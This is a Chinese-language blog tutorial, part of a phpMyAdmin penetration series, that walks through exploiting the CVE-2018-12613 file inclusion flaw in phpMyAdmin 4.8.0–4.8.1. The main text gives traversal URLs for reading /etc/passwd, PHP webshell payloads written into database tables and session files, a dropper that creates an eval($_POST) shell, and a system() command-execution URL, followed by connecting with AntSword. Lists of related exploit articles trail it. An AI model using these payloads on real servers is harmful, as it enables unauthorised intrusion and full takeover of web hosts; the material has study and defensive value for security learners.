这是phpmyadmin系列渗透思路的第三篇文章,前面一篇文章阐述了通过慢查询日志getshell,本文将通过文件包含漏洞展开讨论
#001 影响版本
Phpmyadmin 4.8.0/4.8.0.1/4.8.1
 
#002 漏洞验证利用
http://www.xxx.com/index.php?target=db_sql.php%253f/../../../../../../etc/passwd
成功读取到/etc/passwd文件
 
#003 利用此漏洞getshell
思路1:把WebShell写入到数据库中然后包含数据库文件getshell,如果把WebShell当做数据表的字段值是可以完美的写入到数据库文件当中的
 
 
创建完成结果如下
 
2、然后我们需要找到数据库表的文件
show variables like 'datadir'

SELECT @@datadir
文件的路径就是:data路径+数据库名/表名.frm
 
然后包含它就可以,成功包含执行phpifo
index.php?target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/test/test1.frm
 
 
二、命令执行(注意一句话为GET)
插入:<?php eval($_GET[a]);?>这个字段,然后构造payload:成功执行命令
index.php?a=system("ipconfig");&target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/test/test2.frm
 
三、进行getshell
ONE:插入数据表getshell
思考过程:以上所说的都是执行的phpinfo,以及get方式执行了命令,无法用蚁剑等工具直接连接shell,所以就想利用文件包含直接生成一个webshell,所以有了以下想法
 
1、我们插入字段的时候,插入这样一句话,包含之后会在当前目录生成一个a.php的webshell
<?php fputs(fopen("a.php","w"),'<?php eval($_POST[a]);?>');?>
 
可以看到,执行成功
 
2、接着上面的,包含test1.frm文件,包含完成,没有任何报错
 
3、接着去看一下是否真的能生成一句话在当前目录,可以看到的确生成了,并且时间是刚刚
 
4、然后直接利用蚁剑连接,ok思路可行,getshell成功
 
 
执行一下命令试试,完全没问题,本次探索很成功!
 
Two:利用session文件getshell
phpmyadmin是默认会把执行的语句,记录在session文件当中的,所以可以包含session文件进行getshell
 
1、首先利用上面得到的phpinfo,查看session文件存放的路径,搜索:save_path,看到是在tmp/tmp目录下
 
2、执行sql语句,语句为生成一句话木马的语句
SELECT `<?php fputs(fopen("a.php","w"),'<?php eval($_POST[a]);?>');?>`;    #注意为反引号
 
 
3、session可以在cookie中找到,例如google的,或者burp抓包都行
 
 
4、然后利用漏洞直接包含session文件,文件名:sess_你的session
index.php?target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/tmp/tmp/sess_a5gbrbj1rr01lpqpi6mkecc1ti1ar692
 
5、然后看当前目录是否生成一句话木马,可以看到又成功生成了,时间是刚刚的
 
6、利用蚁剑连接:成功!
 
这篇文章个人感觉还是可以拓展大家一些思路的,希望大家都能学到一点技巧。

CVE-2018-12613 phpmyadmin文件包含getshell连载(三)的更多相关文章

  1. [原题复现]HCTF 2018 Warmup(文件包含)

    HCTF 2018 Warmup 原题复现:https://gitee.com/xiaohua1998/hctf_2018_warmup 考察知识点:文件包含漏洞(phpmyadmin 4.8.1任意 ...

  2. 通达OA任意文件上传+文件包含GetShell/包含日志文件Getshell

    0x01 简介 通达OA采用基于WEB的企业计算,主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠.数据存取集中控制,避免了数据泄漏的可能.提供数据备份工具,保护系统数据安全.多级 ...

  3. Vulnhub系列:Tomato(文件包含getshell)

    这个靶机挺有意思,它是通过文件包含漏洞进行的getshell,主要姿势是将含有一句话木马的内容记录到ssh的登录日志中,然后利用文件包含漏洞进行包含,从而拿到shell 0x01 靶机信息 靶机:To ...

  4. phpmyadmin系列渗透思路连载(一)

    当拿到phpmyadin的站点后,我一般会尝试一下几种攻击手法: 1.通过弱口令进入后台,尝试into outfile写入一句话 条件:(1)有写的权限    (2)知道web绝对路径    (3)w ...

  5. CVE-2018-12613phpMyAdmin 后台文件包含漏洞分析

    一.    漏洞背景 phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库.借由此Web接口可以成 ...

  6. 文件包含漏洞(RFI)

    1文件包含漏洞简介 include  require  include_once   require_once RFI综述 RFI是Remote File Inclusion的英文缩写,直译过来就是远 ...

  7. ZT 头文件包含其实是一想很烦琐的工作 第一个原则应该是,如果可以不包含头文件

    当出现访问类的函数或者需要确定类大小的时候,才需要用头文件(使用其类定义)    http://blog.csdn.net/clever101/article/details/4751717 看到这个 ...

  8. phpMyAdmin 4.8.x 本地文件包含漏洞利用

    phpMyAdmin 4.8.x 本地文件包含漏洞利用 今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell.该漏洞利用 ...

  9. phpmyadmin任意文件包含漏洞分析(含演示)

    0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: ...

随机推荐

  1. iptables基本用法

    iptables选项参数 [root@test ~]# iptables --help -L #列出指定表所有链上的所有规则,本选项须置于-n选项后面 -n #以数字格式显示地址和端口号 -v #详细 ...

  2. volatile关键字与内存可见性&原子变量与CAS算法

    1 .volatile 关键字:当多个线程进行操作共享数据时, 可以保证内存中的数据可见 2 .原子变量:jdk1.5后java.util.concurrent.atomic 包下提供常用的原子变量 ...

  3. 【JVM】垃圾回收的四大算法

    GC垃圾回收 JVM大部分时候回收的都是新生代(伊甸区+幸存0区+幸存1区).按照回收的区域可以分成两种类型:Minor GC和Full GC(MajorGC). Minor GC:只针对新生代区域的 ...

  4. 【JVM】GCRoots和JVM的参数配置

    如何理解GCRoots? 为了解决引用计数法的循环引用问题,Java使用了可达性分析的方法.GC Roots是一组活跃的引用,通过一系列名为GC Roots的对象作为起始点,沿着该对象向下搜索,如果一 ...

  5. jchdl - RTL实例 - And2(结构体的使用)

    https://mp.weixin.qq.com/s/qTgeBF9N0mx5UK3xWDb3jg   jchdl对Verilog做了增强,增加了用户自定义结构体类型.使用自定义结构体,可以对输入和输 ...

  6. Angular 从入坑到挖坑 - 路由守卫连连看

    一.Overview Angular 入坑记录的笔记第六篇,介绍 Angular 路由模块中关于路由守卫的相关知识点,了解常用到的路由守卫接口,知道如何通过实现路由守卫接口来实现特定的功能需求,以及实 ...

  7. 腾讯云EMR大数据实时OLAP分析案例解析

    OLAP(On-Line Analytical Processing),是数据仓库系统的主要应用形式,帮助分析人员多角度分析数据,挖掘数据价值.本文基于QQ音乐海量大数据实时分析场景,通过QQ音乐与腾 ...

  8. Java实现 LeetCode 705 设计哈希集合(使用数组保存有没有被用过)

    705. 设计哈希集合 不使用任何内建的哈希表库设计一个哈希集合 具体地说,你的设计应该包含以下的功能 add(value):向哈希集合中插入一个值. contains(value) :返回哈希集合中 ...

  9. Java实现 LeetCode 391 完美矩形

    391. 完美矩形 我们有 N 个与坐标轴对齐的矩形, 其中 N > 0, 判断它们是否能精确地覆盖一个矩形区域. 每个矩形用左下角的点和右上角的点的坐标来表示.例如, 一个单位正方形可以表示为 ...

  10. Java实现 LeetCode 239 滑动窗口最大值

    239. 滑动窗口最大值 给定一个数组 nums,有一个大小为 k 的滑动窗口从数组的最左侧移动到数组的最右侧.你只可以看到在滑动窗口内的 k 个数字.滑动窗口每次只向右移动一位. 返回滑动窗口中的最 ...